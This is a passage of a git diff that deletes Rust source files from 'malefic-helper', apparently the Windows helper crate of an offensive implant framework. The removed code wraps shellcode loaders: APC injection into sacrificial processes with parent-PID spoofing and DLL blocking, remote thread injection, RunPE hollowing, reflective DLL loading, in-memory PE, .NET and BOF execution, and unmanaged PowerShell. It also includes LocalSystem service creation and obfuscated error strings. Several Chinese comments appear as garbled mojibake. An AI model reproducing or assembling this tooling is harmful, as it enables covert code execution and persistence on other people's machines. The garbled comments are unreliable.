bin: *const u8, -// bin_len: usize, -// sacrifice_commandline: *mut i8, -// ppid: u32, -// block_dll: bool, -// need_output: bool -// ) -> RawString; -// pub fn InjectRemoteThread( -// bin: *const u8, -// bin_len: usize, -// pid: u32 -// ) -> RawString; -// pub fn MaleficLoadLibrary( -// flags: u32, -// buffer: *const u16, -// file_buffer: *const core::ffi::c_void, -// len: usize, -// name: *const u8, -// ) -> *const core::ffi::c_void; -// pub fn MaleficGetFuncAddrWithModuleBaseDefault( -// module_base: *const core::ffi::c_void, -// func_name: *const u8, -// func_name_len: usize, -// ) -> *const core::ffi::c_void; -// pub fn ReflectiveLoader( -// start_commandline: *const u8, -// start_commandline_len: usize, -// reflective_loader_name: *const u8, -// reflective_loader_name_len: usize, -// data: *const u8, -// data_len: usize, -// param: *const u8, -// param_len: usize, -// ppid: u32, -// block_dll: bool, -// timeout: u32, -// is_need_output: bool, -// ) -> RawString; -// pub fn InlinePE( -// bin: *const u8, -// bin_size: usize, -// magic: *const u16, -// signature: *const u32, -// commandline: *const u8, -// commandline_len: usize, -// entrypoint: *const u8, -// entrypoint_len: usize, -// is_dll: bool, -// is_need_output: bool, -// timeout: u32, -// delay: u32 -// ) -> RawString; -// pub fn RunPE( -// start_commandline: *const u8, -// start_commandline_len: usize, -// hijack_commandline: *const u8, -// hijack_commandline_len: usize, -// data: *const u8, -// data_size: usize, -// entrypoint: *const u8, -// entrypoint_len: usize, -// args: *const u8, -// args_len: usize, -// is_x86: bool, -// pid: u32, -// block_dll: bool, -// need_output: bool -// ) -> RawString; -// pub fn RunSacrifice( -// application_name: *mut u8, -// start_commandline: *const u8, -// start_commandline_len: usize, -// hijack_commandline: *const u8, -// hijack_commandline_len: usize, -// parent_id: u32, -// need_output: bool, -// block_dll: bool -// ) -> RawString; -// pub fn MaleficExecAssembleInMemory( -// data: *const u8, -// data_len: usize, -// args: *const *const u8, -// args_len: usize, -// ) -> RawString; -// pub fn MaleficBofLoader( -// buffer: *const u8, -// buffer_len: usize, -// arguments: *const *const u8, -// arguments_size: usize, -// entrypoint_name: *const u8, -// ) -> RawString; -// pub fn HijackCommandLine( -// commandline: *const u8, -// commandline_len: usize -// ) -> u8; -// pub fn MaleficPwshExecCommand( -// command: *const u8, -// command_len: usize -// ) -> RawString; -// pub fn PELoader( -// handle: *const core::ffi::c_void, -// base_addr: *const core::ffi::c_void, -// size: usize, -// need_modify_magic: bool, -// need_modify_sign: bool, -// magic: u16, -// signature: u32 -// ) -> *const core::ffi::c_void; -// pub fn UnloadPE(module: *const core::ffi::c_void); -// pub fn MLoadLibraryA( -// lpLibFileName: *const u8 -// ) -> *mut core::ffi::c_void; -// pub fn MGetProcAddress( -// module: *const core::ffi::c_void, -// proc_name: *const u8 -// ) -> *const core::ffi::c_void; -// pub fn MCreateThread( -// thread_attributes: *mut core::ffi::c_void, -// stack_size: u32, -// start_address: *mut core::ffi::c_void, -// parameter: *mut core::ffi::c_void, -// creation_flags: u32, -// thread_id: *mut u32, -// ) -> *mut core::ffi::c_void; -// pub fn MNtCreateThreadEx( -// thread_handle: *mut core::ffi::c_void, -// desired_access: u32, -// object_attributes: *mut core::ffi::c_void, -// process_handle: *mut core::ffi::c_void, -// start_address: *mut core::ffi::c_void, -// start_parameter: *mut core::ffi::c_void, -// create_suspended: i32, -// stack_zero_bits: u32, -// size_of_stack_commit: u32, -// size_of_stack_reserve: u32, -// attribute_list: *mut core::ffi::c_void, -// ) -> i32; -// pub fn MGetCurrentProcess() -> *mut core::ffi::c_void; - -// pub fn MaleficMakePipe( -// read: *mut *mut core::ffi::c_void, -// write: *mut *mut core::ffi::c_void) -> bool; -// pub fn MaleficPipeRedirectStdOut( -// write: *mut core::ffi::c_void -// ) -> *const core::ffi::c_void; -// pub fn MaleficPipeRepairedStdOut(stdout: *const core::ffi::c_void); -// pub fn MaleficPipeRead(read_pipe: *mut core::ffi::c_void) -> *const u8; -// pub fn SafeFreePipeData(data: *const u8); -// } - -// #[cfg(target_os = "windows")] -// #[cfg(feature = "prebuild")] -// pub struct MaleficPipe { -// read: *const core::ffi::c_void, -// write: *const core::ffi::c_void, -// } - - -#[cfg(target_os = "windows")] -pub struct MaleficModule { - pub new_module: *mut core::ffi::c_void, - pub entry_point: *const core::ffi::c_void, - pub export_func: Vec<(String, usize)>, -} - - -// #[cfg(target_os = "windows")] -// #[cfg(feature = "prebuild")] -// pub struct DarkModule { -// pub module_base: *const core::ffi::c_void, -// } - -// #[cfg(target_os = "windows")] -// #[cfg(feature = "prebuild")] -// #[repr(C)] -// pub struct RawString { -// pub data: *mut u8, -// pub len: usize, -// pub capacity: usize, -// } - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub const LOAD_MEMORY: u16 = 0x02u16; -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub const AUTO_RUN_DLL_MAIN: u32 = 0x00010000u32; - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn pe_loader( - handle: *const core::ffi::c_void, - base_addr: *const core::ffi::c_void, - size: usize, - need_modify_magic: bool, - need_modify_sign: bool, - magic: u16, - signature: u32, -) -> *const core::ffi::c_void { - unsafe { - bindings::PELoader( - handle, - base_addr, - size, - need_modify_magic, - need_modify_sign, - magic, - signature - ) - } -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn unload_pe( - module: *const core::ffi::c_void, -) { - unsafe { - bindings::UnloadPE(module) - } -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn load_library( - flags: u32, - buffer: *const u16, - file_buffer: *const core::ffi::c_void, - len: usize, - name: *const u8, -) -> *const core::ffi::c_void { - unsafe { bindings::MaleficLoadLibrary(flags, buffer, file_buffer, len, name) } -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn run_pe( - start_commandline: *const u8, - start_commandline_len: usize, - hijack_commandline: *const u8, - hijack_commandline_len: usize, - data: *const u8, - data_size: usize, - entrypoint: *const u8, - entrypoint_len: usize, - args: *const u8, - args_len: usize, - is_x86: bool, - pid: u32, - block_dll: bool, - need_output: bool -) -> bindings::RawString { - unsafe { - bindings::RunPE( - start_commandline, - start_commandline_len, - hijack_commandline, - hijack_commandline_len, - data, - data_size, - entrypoint, - entrypoint_len, - args, - args_len, - is_x86, - pid, - block_dll, - need_output - ) - } -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn reflective_loader( - start_commandline: *const u8, - start_commandline_len: usize, - reflective_loader_name: *const u8, - reflective_loader_name_len: usize, - data: *const u8, - data_len: usize, - param: *const u8, - param_len: usize, - ppid: u32, - block_dll: bool, - timeout: u32, - is_need_output: bool, -) -> bindings::RawString { - unsafe { - bindings::ReflectiveLoader( - start_commandline, - start_commandline_len, - reflective_loader_name, - reflective_loader_name_len, - data, - data_len, - param, - param_len, - ppid, - block_dll, - timeout, - is_need_output - ) - } -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn inline_pe( - bin: *const u8, - bin_size: usize, - magic: *const u16, - signature: *const u32, - commandline: *const u8, - commandline_len: usize, - entrypoint: *const u8, - entrypoint_len: usize, - is_dll: bool, - is_need_output: bool, - timeout: u32, - delay: u32 -) -> bindings::RawString { - unsafe { bindings::InlinePE(bin, bin_size, magic, signature, commandline, commandline_len, entrypoint, entrypoint_len, is_dll, is_need_output, timeout, delay) } -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn hijack_commandline(commandline: *const u8, commandline_len: usize) -> bool { - unsafe { bindings::HijackCommandLine(commandline, commandline_len).ne(&0) } -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn exec_assemble_in_memory( - data: *const u8, - data_len: usize, - args: *const *const u8, - args_len: usize, -) -> bindings::RawString { - unsafe { bindings::MaleficExecAssembleInMemory(data, data_len, args, args_len) } -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn bof_loader( - buffer: *const u8, - buffer_len: usize, - arguments: *const *const u8, - arguments_len: usize, - entrypoint_name: *const u8, -) -> bindings::RawString { - unsafe { - bindings::MaleficBofLoader( - buffer, - buffer_len, - arguments, - arguments_len, - entrypoint_name, - ) - } -} - -#[cfg(target_os = "windows")] -#[cfg(feature = "prebuild")] -pub fn pwsh_exec_command(command: *const u8, command_len: usize) -> bindings::RawString { - unsafe { bindings::MaleficPwshExecCommand(command, command_len) } -} \ No newline at end of file diff --git a/malefic-helper/src/win/kit/pe/inlinepe.rs b/malefic-helper/src/win/kit/pe/inlinepe.rs deleted file mode 100644 index 63cd293..0000000 --- a/malefic-helper/src/win/kit/pe/inlinepe.rs +++ /dev/null @@ -1,53 +0,0 @@ - -pub unsafe fn inline_pe( - bin: *const u8, - bin_size: usize, - magic: *const u16, - signature: *const u32, - commandline: *const u8, - commandline_len: usize, - entrypoint: *const u8, - entrypoint_len: usize, - is_dll: bool, - is_need_output: bool, - timeout: u32, - delay: u32 -) -> Vec { - #[cfg(feature = "prebuild")] - { - let ret = crate::win::kit::bindings::InlinePE( - bin, - bin_size, - magic, - signature, - commandline, - commandline_len, - entrypoint, - entrypoint_len, - is_dll, - is_need_output, - timeout, - delay - ); - let str = String::from_raw_parts(ret.data, ret.len, ret.capacity); - str.as_bytes().to_vec() - } - #[cfg(feature = "source")] - { - use malefic_win_kit::pe::InlinePEPatched::InlinePe; - InlinePe( - bin, - bin_size, - magic, - signature, - commandline, - commandline_len, - entrypoint, - entrypoint_len, - is_dll, - is_need_output, - timeout, - delay - ) - } -} \ No newline at end of file diff --git a/malefic-helper/src/win/kit/pe/mod.rs b/malefic-helper/src/win/kit/pe/mod.rs deleted file mode 100644 index 0e80a3d..0000000 --- a/malefic-helper/src/win/kit/pe/mod.rs +++ /dev/null @@ -1,122 +0,0 @@ -pub mod runpe; -pub mod inlinepe; -pub mod utils; -pub mod reflective_loader; - -pub unsafe fn unload_pe(pe_loader: *mut core::ffi::c_void) { - #[cfg(feature = "prebuild")] - crate::win::kit::unload_pe(pe_loader as _); - #[cfg(feature = "source")] - malefic_win_kit::pe::PELoader::unload_pe(pe_loader as _); -} - -pub unsafe fn hijack_commandline( - commandline: &Option -) -> bool { - #[cfg(feature = "prebuild")] { - let s = String::new(); - let commandline = match commandline.as_ref() { - Some(commandline) => commandline, - None => &s, - }; - crate::win::kit::hijack_commandline(commandline.as_ptr(), commandline.len()) - } - #[cfg(feature = "source")] { - malefic_win_kit::pe::utils::hijack_commandline(&commandline) - } -} - -#[cfg(feature = "prebuild")] -pub unsafe fn load_pe( - bin: Vec, - magic: Option, - signature: Option, -) -> *const core::ffi::c_void { - use crate::win::kit::bindings::PELoader; - if bin.is_empty() { - return std::ptr::null(); - } - let need_modify_sign = match signature { - Some(_) => true, - None => false, - }; - let need_modify_magic = match magic { - Some(_) => true, - None => false, - }; - let pe_loader = PELoader( - std::ptr::null_mut(), - bin.as_ptr() as _, - bin.len(), - need_modify_magic, - need_modify_sign, - magic.unwrap_or(0), - signature.unwrap_or(0), - ); - return pe_loader; -} - -#[cfg(feature = "source")] -pub unsafe fn load_pe( - bin: Vec, - magic: Option, - signature: Option, -) -> *const malefic_win_kit::pe::PELoader::MaleficModule { - - use malefic_win_kit::pe::PELoader::malefic_loader; - if bin.is_empty() { - return std::ptr::null(); - } - let pe_loader = malefic_loader( - std::ptr::null_mut(), - bin.as_ptr() as _, - bin.len(), - &magic, - &signature, - ); - return pe_loader; -} - -pub unsafe fn run_sacrifice( - application_name: *mut u8, - start_commandline: &[u8], - hijack_commandline: &[u8], - parent_id: u32, - need_output: bool, - block_dll: bool, -) -> Vec { - #[cfg(feature = "prebuild")] - { - let ret = crate::win::kit::bindings::RunSacrifice( - application_name, - start_commandline.as_ptr(), - start_commandline.len(), - hijack_commandline.as_ptr(), - hijack_commandline.len(), - parent_id, - need_output, - block_dll, - ); - let str = String::from_raw_parts(ret.data, ret.len, ret.capacity); - str.as_bytes().to_vec() - } - #[cfg(feature = "source")] - { - use malefic_win_kit::process::Sacrifice::RunSacrifice; - match RunSacrifice( - application_name, - start_commandline, - hijack_commandline, - parent_id, - need_output, - block_dll, - ) { - Ok(ret) => { - ret - }, - Err(e) => { - e.as_bytes().to_vec() - } - } - } -} \ No newline at end of file diff --git a/malefic-helper/src/win/kit/pe/reflective_loader.rs b/malefic-helper/src/win/kit/pe/reflective_loader.rs deleted file mode 100644 index 32ab1c3..0000000 --- a/malefic-helper/src/win/kit/pe/reflective_loader.rs +++ /dev/null @@ -1,60 +0,0 @@ -pub unsafe fn reflective_loader( - start_commandline: *const u8, - start_commandline_len: usize, - reflective_loader_name: *const u8, - reflective_loader_name_len: usize, - data: *const u8, - data_len: usize, - param: *const u8, - param_len: usize, - ppid: u32, - block_dll: bool, - timeout: u32, - is_need_output: bool, -) -> Vec { - #[cfg(feature = "prebuild")] - { - let ret = crate::win::kit::bindings::ReflectiveLoader( - start_commandline, - start_commandline_len, - reflective_loader_name, - reflective_loader_name_len, - data, - data_len, - param, - param_len, - ppid, - block_dll, - timeout, - is_need_output, - ); - let str = String::from_raw_parts(ret.data, ret.len, ret.capacity); - str.as_bytes().to_vec() - } - #[cfg(feature = "source")] - { - use malefic_win_kit::pe::ReflectiveLoader::LoadRemoteLibraryR; - match LoadRemoteLibraryR( - start_commandline, - start_commandline_len, - reflective_loader_name, - reflective_loader_name_len, - data, - data_len, - param, - param_len, - ppid, - block_dll, - timeout, - is_need_output, - ) { - Ok(ret) => { - ret - }, - Err(e) => { - e.as_bytes().to_vec() - } - } - } -} - \ No newline at end of file diff --git a/malefic-helper/src/win/kit/pe/runpe.rs b/malefic-helper/src/win/kit/pe/runpe.rs deleted file mode 100644 index d35b2f6..0000000 --- a/malefic-helper/src/win/kit/pe/runpe.rs +++ /dev/null @@ -1,60 +0,0 @@ -pub unsafe fn run_pe( - start_commandline: &[u8], - hijack_commandline: &[u8], - data: &[u8], - entrypoint: &[u8], - args: &[u8], - is_x86: bool, - pid: u32, - block_dll: bool, - need_output: bool -) -> Vec { - #[cfg(feature = "prebuild")] - { - let ret = crate::win::kit::bindings::RunPE( - start_commandline.as_ptr(), - start_commandline.len(), - hijack_commandline.as_ptr(), - hijack_commandline.len(), - data.as_ptr(), - data.len(), - entrypoint.as_ptr(), - entrypoint.len(), - args.as_ptr(), - args.len(), - is_x86, - pid, - block_dll, - need_output - ); - let str = String::from_raw_parts(ret.data, ret.len, ret.capacity); - str.as_bytes().to_vec() - } - #[cfg(feature = "source")] - { - use malefic_win_kit::pe::RunPE::RunPE; - match RunPE( - start_commandline.as_ptr(), - start_commandline.len(), - hijack_commandline.as_ptr(), - hijack_commandline.len(), - data.as_ptr(), - data.len(), - entrypoint.as_ptr(), - entrypoint.len(), - args.as_ptr(), - args.len(), - is_x86, - pid, - block_dll, - need_output - ) { - Ok(ret) => { - ret - }, - Err(e) => { - e.as_bytes().to_vec() - } - } - } -} \ No newline at end of file diff --git a/malefic-helper/src/win/kit/pwsh/mod.rs b/malefic-helper/src/win/kit/pwsh/mod.rs deleted file mode 100644 index 8c4be97..0000000 --- a/malefic-helper/src/win/kit/pwsh/mod.rs +++ /dev/null @@ -1,35 +0,0 @@ -pub unsafe fn pwsh_exec_command(script: &String) -> String { - #[cfg(feature = "prebuild")] - { - - let ret = crate::win::kit::bindings::MaleficPwshExecCommand( - script.as_ptr(), - script.len(), - ); - String::from_raw_parts(ret.data, ret.len, ret.capacity) - } - #[cfg(feature = "source")] - { - use malefic_win_kit::pwsh::PowershellUtils::PsUtils; - let ps_env = unsafe { - match PsUtils::create_v4() { - Ok(ps) => ps, - Err(_) => match PsUtils::create_v2() { - Ok(v2) => v2, - Err(e) => { - return e; - } - } - } - }; - - match ps_env.run_ps_command(script) { - Ok(ret) => { - ret - }, - Err(e) => { - e - } - } - } -} \ No newline at end of file diff --git a/malefic-helper/src/win/loader/apc/mod.rs b/malefic-helper/src/win/loader/apc/mod.rs deleted file mode 100644 index 09f2c6c..0000000 --- a/malefic-helper/src/win/loader/apc/mod.rs +++ /dev/null @@ -1,43 +0,0 @@ -use obfstr::obfstr; - -#[cfg(feature = "prebuild")] -pub unsafe fn loader(bin: Vec, is_need_sacrifice: bool, sacrifice_commandline: *mut i8, ppid: u32, block_dll: bool, need_output: bool) -> Result, String> { - use crate::win::kit::bindings::{ApcLoaderInline, ApcLoaderSacriface}; - if bin.is_empty() { - return Err(obfstr!("empty shellcode").to_string()); - } - if is_need_sacrifice { - let ret = ApcLoaderSacriface(bin.as_ptr(), bin.len(), sacrifice_commandline, ppid, block_dll, need_output); - if ret.len.eq(&0) { - return Err(obfstr!("Apc Loader Sacrifice failed!").to_string()); - } - let str = String::from_raw_parts(ret.data, ret.len, ret.capacity); - return Ok(str.as_bytes().to_vec()); - } - let ret = ApcLoaderInline(bin.as_ptr(), bin.len(), need_output); - if ret.len.eq(&0) { - return Err(obfstr!("Apc Loader Sacrifice failed!").to_string()); - } - let str = String::from_raw_parts(ret.data, ret.len, ret.capacity); - return Ok(str.as_bytes().to_vec()); -} - -#[cfg(feature = "source")] -pub unsafe fn loader( - bin: Vec, - is_need_sacrifice: bool, - sacrifice_commandline: *mut i8, - ppid: u32, - block_dll: bool, - need_output: bool -) -> Result, String> { - use malefic_win_kit::dynamic::RunShellcode::{inline_apc_loader, sacriface_apc_loader}; - if bin.is_empty() { - return Err(obfstr!("empty shellcode").to_string()); - } - if is_need_sacrifice { - return sacriface_apc_loader(bin, sacrifice_commandline, ppid, block_dll, need_output); - } - let ret = inline_apc_loader(bin, need_output, 0); - return ret; -} \ No newline at end of file diff --git a/malefic-helper/src/win/mod.rs b/malefic-helper/src/win/mod.rs deleted file mode 100644 index fa6a42a..0000000 --- a/malefic-helper/src/win/mod.rs +++ /dev/null @@ -1,21 +0,0 @@ -pub mod common; -pub mod inject; -pub mod kit; -pub mod loader; -pub mod netstat; -pub mod pipe; -pub mod process; -pub mod reg; -pub mod scheduler; -pub mod service; -pub mod token; -pub mod types; -pub mod whoami; -#[cfg(feature = "wmi")] -pub mod wmi; -#[cfg(feature = "anti")] -pub mod anti; -pub mod domain; -pub mod ipconfig; -pub mod driver; -pub mod clr; \ No newline at end of file diff --git a/malefic-helper/src/win/service/mod.rs b/malefic-helper/src/win/service/mod.rs deleted file mode 100644 index ab522ff..0000000 --- a/malefic-helper/src/win/service/mod.rs +++ /dev/null @@ -1,448 +0,0 @@ -use std::ffi::OsString; -use std::path::PathBuf; -use std::time::Duration; -use windows::Win32::System::Services::{ - CloseServiceHandle, ControlService, CreateServiceW, DeleteService, EnumServicesStatusExW, OpenSCManagerW, - OpenServiceW, QueryServiceConfigW, QueryServiceStatusEx, StartServiceW, - QUERY_SERVICE_CONFIGW, SC_ENUM_PROCESS_INFO, SC_HANDLE, SC_MANAGER_ALL_ACCESS, SC_STATUS_PROCESS_INFO, - SERVICE_ALL_ACCESS, SERVICE_CONTROL_STOP, SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS, SERVICE_START, - SERVICE_STATE_ALL, SERVICE_STATUS, SERVICE_STATUS_PROCESS, SERVICE_STOP, SERVICE_WIN32_OWN_PROCESS, - SERVICE_STOPPED, SERVICE_START_PENDING, SERVICE_STOP_PENDING, SERVICE_RUNNING, - SERVICE_CONTINUE_PENDING, SERVICE_PAUSE_PENDING, SERVICE_PAUSED, -}; - -use windows::core::{Error, Result, PCWSTR}; -use std::ptr::null_mut; -use std::mem::size_of; -use crate::win::common; - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, PartialEq, Eq, Hash)] -pub enum ServiceType { - OwnProcess, - SharedProcess, - Driver, -} - -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, PartialEq, Eq, Hash)] -pub enum ServiceStartType { - BootStart, - SystemStart, - AutoStart, - DemandStart, - Disabled, -} - -impl ServiceStartType { - pub fn to_win32(&self) -> windows::Win32::System::Services::SERVICE_START_TYPE { - match self { - ServiceStartType::BootStart => windows::Win32::System::Services::SERVICE_BOOT_START, - ServiceStartType::SystemStart => windows::Win32::System::Services::SERVICE_SYSTEM_START, - ServiceStartType::AutoStart => windows::Win32::System::Services::SERVICE_AUTO_START, - ServiceStartType::DemandStart => windows::Win32::System::Services::SERVICE_DEMAND_START, - ServiceStartType::Disabled => windows::Win32::System::Services::SERVICE_DISABLED, - } - } -} -// æœåŠ¡é”™è¯¯æŽ§åˆ¶ -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, PartialEq, Eq, Hash)] -pub enum ServiceErrorControl { - Ignore, - Normal, - Severe, - Critical, -} - -// æœåŠ¡ä¾èµ–关系 -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, PartialEq, Eq, Hash)] -pub enum ServiceDependency { - Service(String), - Group(String), -} - -// æœåŠ¡çŠ¶æ€ -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, PartialEq, Eq, Hash)] -pub enum ServiceState { - Stopped, - StartPending, - StopPending, - Running, - ContinuePending, - PausePending, - Paused, -} - -// æœåŠ¡é€€å‡ºä»£ç  -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone, PartialEq, Eq, Hash)] -pub enum ServiceExitCode { - Win32(u32), - ServiceSpecific(u32), -} - -// æœåŠ¡é…置结构体 -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct ServiceConfig { - pub name: String, - pub service_type: ServiceType, - pub start_type: ServiceStartType, - pub error_control: ServiceErrorControl, - pub executable_path: PathBuf, - pub tag_id: u32, - pub account_name: Option, - pub display_name: OsString, -} - -// æœåŠ¡çŠ¶æ€ç»“构体 -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct ServiceStatus { - pub current_state: ServiceState, - pub process_id: Option, - pub exit_code: ServiceExitCode, - pub checkpoint: u32, - pub wait_hint: Duration, -} - -// 上层结构体,将 ServiceConfig å’Œ ServiceStatus 包裹 -#[cfg_attr(debug_assertions, derive(Debug))] -#[derive(Clone)] -pub struct Service { - pub config: ServiceConfig, - pub status: Option, -} - -pub struct ServiceManager { - scm_handle: SC_HANDLE, -} - - -// 定义 TokenElevation ä¸ºå¸¸é‡ - -impl ServiceManager { - // 打开æœåŠ¡ç®¡ç†å™¨ - pub fn open() -> Result { - unsafe { - if crate::common::sysinfo::is_privilege() { - let scm_handle = OpenSCManagerW(PCWSTR(null_mut()), PCWSTR(null_mut()), SC_MANAGER_ALL_ACCESS)?; - if scm_handle.is_invalid() { - return Err(Error::from_win32()); - } - return Ok(ServiceManager { scm_handle }); - } - - // ä½¿ç”¨æœ‰é™æƒé™ - let scm_handle = OpenSCManagerW(PCWSTR(null_mut()), PCWSTR(null_mut()), SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS)?; - if scm_handle.is_invalid() { - return Err(Error::from_win32()); - } - Ok(ServiceManager { scm_handle }) - } - } - - // 关闭æœåŠ¡ç®¡ç†å™¨ - pub fn close(self) { - let _ = unsafe { CloseServiceHandle(self.scm_handle) }; - } - pub fn create_service( - &self, - name: &str, - display_name: &str, - executable_path: &str, - start_type: ServiceStartType, - error_control: ServiceErrorControl, - account_name: Option<&str> - ) -> Result { - let service_name_wide = common::to_wide_string(name); - let display_name_wide = common::to_wide_string(display_name); - let executable_path_wide = common::to_wide_string(executable_path); - - let account_name_wide = match account_name { - Some(account) => common::to_wide_string(account), - None => common::to_wide_string("LocalSystem"), // 默认使用 LocalSystem 账户 - }; - - unsafe { - let service_handle = CreateServiceW( - self.scm_handle, - PCWSTR(service_name_wide.as_ptr()), - PCWSTR(display_name_wide.as_ptr()), - SERVICE_ALL_ACCESS, - SERVICE_WIN32_OWN_PROCESS, - start_type.to_win32(), - match error_control { - ServiceErrorControl::Ignore => windows::Win32::System::Services::SERVICE_ERROR_IGNORE, - ServiceErrorControl::Normal => windows::Win32::System::Services::SERVICE_ERROR_NORMAL, - ServiceErrorControl::Severe => windows::Win32::System::Services::SERVICE_ERROR_SEVERE, - ServiceErrorControl::Critical => windows::Win32::System::Services::SERVICE_ERROR_CRITICAL, - }, - PCWSTR(executable_path_wide.as_ptr()), - None, // Load order group (not used) - None, // Tag ID - None, // Dependencies (not used) - PCWSTR(account_name_wide.as_ptr()), // Service account name - None, // Password (if required) - )?; - - if service_handle.is_invalid() { - return Err(Error::from_win32()); - } - - let _ = CloseServiceHandle(service_handle); - - // 返回 `ServiceConfig` - Ok(ServiceConfig { - name: name.to_string(), - service_type: ServiceType::OwnProcess, - start_type, - error_control, - executable_path: PathBuf::from(executable_path), - tag_id: 0, // Tag ID 这里默认 0 - account_name: Some(OsString::from(account_name.unwrap_or("LocalSystem"))), - display_name: OsString::from(display_name), - }) - } - } - - // å¯åЍæœåŠ¡ - pub fn start_service(&self, config: &ServiceConfig) -> Result<()> { - let service_name_wide = common::to_wide_string(&config.name); - - unsafe { - let service_handle = OpenServiceW(self.scm_handle, PCWSTR(service_name_wide.as_ptr()), SERVICE_START)?; - if service_handle.is_invalid() { - return Err(Error::from_win32()); - } - - StartServiceW(service_handle, None)?; - let _ = CloseServiceHandle(service_handle); - - Ok(()) - } - } - - // åœæ­¢æœåŠ¡ - pub fn stop_service(&self, config: &ServiceConfig) -> Result<()> { - let service_name_wide = common::to_wide_string(&config.name); - - unsafe { - let service_handle = OpenServiceW(self.scm_handle, PCWSTR(service_name_wide.as_ptr()), SERVICE_STOP)?; - if service_handle.is_invalid() { - return Err(Error::from_win32()); - } - - let mut status = SERVICE_STATUS::default(); - ControlService(service_handle, SERVICE_CONTROL_STOP, &mut status)?; - let _ = CloseServiceHandle(service_handle); - - Ok(()) - } - } - - // 删除æœåŠ¡ - pub fn delete_service(&self, config: &ServiceConfig) -> Result<()> { - let service_name_wide = common::to_wide_string(&config.name); - - unsafe { - let service_handle = OpenServiceW(self.scm_handle, PCWSTR(service_name_wide.as_ptr()), SERVICE_ALL_ACCESS)?; - if service_handle.is_invalid() { - return Err(Error::from_win32()); - } - - DeleteService(service_handle)?; - let _ = CloseServiceHandle(service_handle); - } - Ok(()) - } - - pub fn query_service(&self, service_name: &str) -> Result { - let service_name_wide = common::to_wide_string(service_name); - - unsafe { - let service_handle = OpenServiceW(self.scm_handle, PCWSTR(service_name_wide.as_ptr()), SERVICE_QUERY_CONFIG)?; - if service_handle.is_invalid() { - return Err(Error::from_win32()); - } - - let mut config_size_needed = 0; - let result = QueryServiceConfigW(service_handle, None, 0, &mut config_size_needed); - if result.is_ok() || config_size_needed == 0 { - CloseServiceHandle(service_handle)?; - return Err(Error::from_win32()); // 如果查询失败或者没有é…置,返回错误 - } - - let mut config_buffer = vec![0u8; config_size_needed as usize]; - let service_config: *mut QUERY_SERVICE_CONFIGW = config_buffer.as_mut_ptr() as *mut _; - - let result = QueryServiceConfigW(service_handle, Some(service_config), config_size_needed, &mut config_size_needed); - if result.is_err() { - CloseServiceHandle(service_handle)?; - return Err(result.unwrap_err()); // 返回错误 - } - - let executable_path = common::wide_to_string(PCWSTR((*service_config).lpBinaryPathName.0)); - let account_name = if !(*service_config).lpServiceStartName.is_null() { - Some(OsString::from(common::wide_to_string(PCWSTR((*service_config).lpServiceStartName.0)))) - } else { - None - }; - - CloseServiceHandle(service_handle)?; - - Ok(ServiceConfig { - name: service_name.to_string(), - service_type: match (*service_config).dwServiceType { - windows::Win32::System::Services::SERVICE_WIN32_OWN_PROCESS => ServiceType::OwnProcess, - windows::Win32::System::Services::SERVICE_WIN32_SHARE_PROCESS => ServiceType::SharedProcess, - _ => ServiceType::Driver, // 其他类型 - }, - start_type: match (*service_config).dwStartType { - windows::Win32::System::Services::SERVICE_BOOT_START => ServiceStartType::BootStart, - windows::Win32::System::Services::SERVICE_SYSTEM_START => ServiceStartType::SystemStart, - windows::Win32::System::Services::SERVICE_AUTO_START => ServiceStartType::AutoStart, - windows::Win32::System::Services::SERVICE_DEMAND_START => ServiceStartType::DemandStart, - _ => ServiceStartType::Disabled, - }, - error_control: match (*service_config).dwErrorControl { - windows::Win32::System::Services::SERVICE_ERROR_IGNORE => ServiceErrorControl::Ignore, - windows::Win32::System::Services::SERVICE_ERROR_NORMAL => ServiceErrorControl::Normal, - windows::Win32::System::Services::SERVICE_ERROR_SEVERE => ServiceErrorControl::Severe, - windows::Win32::System::Services::SERVICE_ERROR_CRITICAL => ServiceErrorControl::Critical, - _ => ServiceErrorControl::Normal, // 默认 - }, - executable_path: PathBuf::from(executable_path), - tag_id: (*service_config).dwTagId, - account_name, - display_name: OsString::from(service_name), - }) - } - } - - pub fn list_services(&self) -> Result> { - let mut buffer_size_needed = 0; - let mut service_count = 0; - let mut resume_handle: u32 = 0; - let mut services = Vec::new(); - - unsafe { - // 第一次调用 EnumServicesStatusExW ä»¥èŽ·å–æ‰€éœ€çš„ç¼“å†²åŒºå¤§å° - let result = EnumServicesStatusExW( - self.scm_handle, - SC_ENUM_PROCESS_INFO, - SERVICE_WIN32_OWN_PROCESS, - SERVICE_STATE_ALL, - None, - &mut buffer_size_needed, - &mut service_count, - Some(&mut resume_handle), - None, - ); - - if result.is_err() { - let error_code = result.unwrap_err().code(); - if error_code != windows::core::HRESULT::from_win32(windows::Win32::Foundation::ERROR_MORE_DATA.0) { - return Err(Error::from_win32()); - } - } - - // 分é…缓冲区 - let mut buffer = vec![0u8; buffer_size_needed as usize]; - - // 第二次调用 EnumServicesStatusExW ä»¥èŽ·å–æ‰€æœ‰æœåŠ¡çš„åŸºæœ¬ä¿¡æ¯ - let result = EnumServicesStatusExW( - self.scm_handle, - SC_ENUM_PROCESS_INFO, - SERVICE_WIN32_OWN_PROCESS, - SERVICE_STATE_ALL, - Some(&mut buffer), - &mut buffer_size_needed, - &mut service_count, - 